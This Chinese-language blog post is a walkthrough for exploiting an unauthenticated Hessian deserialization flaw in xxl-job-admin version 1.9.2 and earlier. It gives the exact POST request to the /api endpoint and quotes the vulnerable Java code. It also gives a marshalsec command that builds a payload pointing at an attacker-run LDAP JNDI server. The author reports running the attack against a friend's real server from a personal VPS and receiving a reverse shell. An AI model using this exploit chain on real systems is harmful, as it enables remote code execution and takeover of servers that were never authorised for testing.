首页 > 技术文章 > xxl-job-admin 低版本未授权反序列化漏洞

ph4nt0mer 2020-11-02 10:39 原文

利用条件:version <=1.9.2

POST /xxl-job-admin/api HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Android 9.0; Mobile; rv:66.0) Gecko/66.0 Firefox/66.0
Accept: application/xml, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Length: 702
Origin: http://127.0.0.1:8080
DNT: 1
Connection: close
Referer: http://127.0.0.1:8080/xxl-job-admin/


xxl-job-admin/api下存在未授权漏洞。
因为这两天研究过2.2.0的api接口,所以知道api类的接口都在com/xxl/job/admin/controller/JobApiController.java下,查看这下面的代码。

private RpcResponse doInvoke(HttpServletRequest request) {
        try {
            // deserialize request
            byte[] requestBytes = HttpClientUtil.readBytes(request);
            if (requestBytes == null || requestBytes.length==0) {
                RpcResponse rpcResponse = new RpcResponse();
                rpcResponse.setError("RpcRequest byte[] is null");
                return rpcResponse;
            }
            RpcRequest rpcRequest = (RpcRequest) HessianSerializer.deserialize(requestBytes, RpcRequest.class);

            // invoke
            RpcResponse rpcResponse = NetComServerFactory.invokeService(rpcRequest, null);
            return rpcResponse;
        } catch (Exception e) {
            logger.error(e.getMessage(), e);

            RpcResponse rpcResponse = new RpcResponse();
            rpcResponse.setError("Server-error:" + e.getMessage());
            return rpcResponse;
        }
    }
    

简单粗暴,直接把body全部来反序列化了。

因为是HessianSerializer,所以使用marshalsec工具来进行反序列化。
记得用marshalsec的源码进行编译,修改pom.xml为1.9.2里一样的hessian和spring版本,以免有环境问题。

> java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian SpringAbstractBeanFactoryPointcutAdvisor ldap://:7777/Exploit >dns4.dat

生成的dns4.dat可以收到dnslog日志。

如果出现下面的问题,有可能是对面服务器环境的java版本太新了,不能jndi了。

拿今天朋友遇到的一台服务器进行测试,自己的vps上起个jndi服务。

收到反弹的shell。

推荐阅读